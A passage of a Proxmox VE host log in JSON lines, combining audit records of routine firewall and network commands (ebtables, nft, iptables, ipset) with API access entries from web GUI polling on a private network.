{"@timestamp":1781965674299,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964295810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.810:60413): arch=c000003e syscall=59 success=yes exit=0 a0=6424ab47ab60 a1=6424ab486f10 a2=6424ab454680 a3=5 items=2 ppid=58001 pid=58007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966240.913:69047): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966326197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966326.197:69322): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685340,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.340:62152): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964082864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964082.864:59505): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055256,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966055.256:68255): table=filter family=7 entries=4 op=xt_replace pid=65547 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964575926,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964575.926:61610): table=filter family=7 entries=4 op=xt_replace pid=59140 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.222:69353): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964738630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781965672707,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964295806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.806:60412): arch=c000003e syscall=59 success=yes exit=0 a0=642487b7dac8 a1=7fff8a6f76d0 a2=6424ab454680 a3=642487b6124e items=2 ppid=58001 pid=58003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.902:69045): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.975:69319): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57218f829e60 items=0 ppid=1156 pid=66545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964685337,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.337:62151): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964082853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964082.853:59503): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046064,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966046.064:68213): table=filter family=7 entries=4 op=xt_replace pid=65508 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964565798,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964565.798:61568): table=filter family=7 entries=4 op=xt_replace pid=59101 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336043,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.043:69349): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964737626,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965672707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781964295804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.804:60411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8a6f7690 a1=6424ab476200 a2=6424ab454680 a3=5 items=2 ppid=58001 pid=58002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.902:69044): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.972:69318): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685336,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.336:62150): argc=1 a0=\"date\""} {"@timestamp":1781964082852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964082.852:59502): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035873,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966035.873:68171): table=filter family=7 entries=4 op=xt_replace pid=65466 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964555667,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964555.667:61526): table=filter family=7 entries=4 op=xt_replace pid=59062 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336039,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.039:69348): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964737626,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965672707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964295800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.800:60409): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.889:69042): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.968:69317): arch=c000003e syscall=59 success=yes exit=0 a0=5d0cac605ed0 a1=5d0cac602c50 a2=5d0cac5e4680 a3=5 items=2 ppid=66538 pid=66544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685331,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.331:62148): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964077846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964077.846:59500): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025704,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966025.704:68128): table=filter family=7 entries=4 op=xt_replace pid=65424 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964545542,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964545.542:61484): table=filter family=7 entries=4 op=xt_replace pid=59023 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336036,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.036:69347): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964736593,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965672707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964295793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.793:60408): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.889:69041): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325966,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.966:69316): arch=c000003e syscall=59 success=yes exit=0 a0=5d0c9253dac8 a1=7ffd0a2755e0 a2=5d0cac5e4680 a3=5d0c9252124e items=2 ppid=66538 pid=66540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685325,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.325:62147): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964077846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964077.846:59499): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015532,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966015.532:68083): table=filter family=7 entries=4 op=xt_replace pid=65379 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964535409,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964535.409:61442): table=filter family=7 entries=4 op=xt_replace pid=58982 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336035,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.035:69346): argc=1 a0=\"date\""} {"@timestamp":1781964735579,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965671184,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964295786,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.786:60407): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966235.243:69037): arch=c000003e syscall=59 success=no exit=-2 a0=7fff916c77e0 a1=5f24cc442360 a2=5f24cc43b680 a3=5 items=1 ppid=66298 pid=66299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325965,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.965:69315): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd0a2755a0 a1=5d0cac5eb310 a2=5d0cac5e4680 a3=5 items=2 ppid=66538 pid=66539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.318:62146): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964077839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964077.839:59497): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005367,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966005.367:68041): table=filter family=7 entries=4 op=xt_replace pid=65340 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964525276,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964525.276:61400): table=filter family=7 entries=4 op=xt_replace pid=58943 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966336031,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.031:69344): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964734469,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965671184,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964295781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.781:60406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966230.883:69009): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.960:69313): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685314,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.314:62145): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964077839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964077.839:59496): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995187,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965995.187:67999): table=filter family=7 entries=4 op=xt_replace pid=65301 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:23:04 +0100] \"GET /api2/extjs/access/domains?_dc=1781965384416 HTTP/1.1\" 200 214"} {"@timestamp":1781966336026,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.026:69343): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964734469,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965670071,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964295774,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.774:60405): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff3a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966230.883:69008): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.955:69312): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b653e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685308,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.308:62144): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964075827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.827:59492): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe2f9f9a30 a1=56c046db2310 a2=56c046dab680 a3=5 items=1 ppid=57136 pid=57137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986028,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965986.028:67956): table=filter family=7 entries=4 op=xt_replace pid=65261 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:23:04 +0100] \"POST /api2/json/access/ticket HTTP/1.1\" 200 806"} {"@timestamp":1781966336020,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.020:69342): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964732672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 857"} {"@timestamp":1781965670071,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964295766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.766:60404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff3a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966230.874:69006): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.950:69311): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.302:62143): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964075731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.731:59474): arch=c000003e syscall=59 success=no exit=-2 a0=7ffde336be90 a1=55e63244b310 a2=55e632444680 a3=5 items=1 ppid=57117 pid=57118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975866,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965975.866:67914): table=filter family=7 entries=4 op=xt_replace pid=65220 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965084646,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:04 +0100] \"GET /novnc/app/images/handle.svg HTTP/1.1\" 200 1043"} {"@timestamp":1781966336015,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.015:69341): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964732672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965668758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964294127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964294.127:60403): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec030 a1=64f8d740edd0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966230.874:69005): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.944:69310): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66535 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685293,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.293:62142): argc=4 a0=\"nft\" a1=\"-j\" 